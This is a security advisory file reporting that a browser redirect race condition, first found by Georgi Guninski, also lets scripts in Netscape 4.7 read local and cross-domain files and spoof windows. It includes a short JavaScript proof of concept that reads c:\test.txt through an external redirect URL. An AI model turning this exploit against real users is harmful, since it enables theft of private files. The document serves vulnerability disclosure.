netscape.msredir.txt

`The first version of this document was created by Georgi Guninski, i  
would like to report that this bug also works on netscape (Tested 4.7).  
I added the document with needed changes for netscape.  
  
Disclaimer:  
The opinions expressed in this advisory and program are my own and not  
of any company.  
The usual standard disclaimer applies, especially the fact that Georgi  
Guninski is not liable for any damages caused by direct or indirect use  
  
of the information or functionality provided by this program. Georgi  
Guninski, bears NO responsibility for content or misuse of this program  
or any derivatives thereof.  
  
Description:  
  
Netscape under Windows 95 and NT 4.0 (suppose Win98 is  
vulnerable) allows reading local text and HTML files and files from any  
domain (probably reading files of other types of files is possible).  
Window spoofing is possible.  
It is also possible in some cases to read files behind fiewall.  
This vulnerability may be exploited using HTML email message or a  
newsgroup posting.  
  
Details:  
  
The problem is something like a race condition immediately after  
window.open("HTTP-redirecting-URL").  
If you do:  
a=window.open("HTTP-redirecting-url");  
b=a.document;  
then you have access to the redirected URL's document using "b".  
  
The code is:  
----------------------------------------------------------------------------------------  
  
<SCRIPT>  
alert("Create short text file c:\\test.txt and it will be read and shown  
  
in a message box");  
a=window.open("http://www.nat.bg/~joro/reject.cgi?test.txt");  
b=a.document;  
setTimeout("alert(b.body.innerText);",4000);  
</SCRIPT>  
// "http://www.nat.bg/~joro/reject.cgi?test.txt" just does a HTTP  
redirect to: "file://c:/test.txt"  
----------------------------------------------------------------------------------------  
  
Workaround:  
Disable Active Scripting  
  
Demonstration is available at http://www.nat.bg/~joro/msredir1.html  
  
Credit:  
All credit is given to Georgi Guninski, i only tested it on netscape and  
made sure it works there too  
  
  
`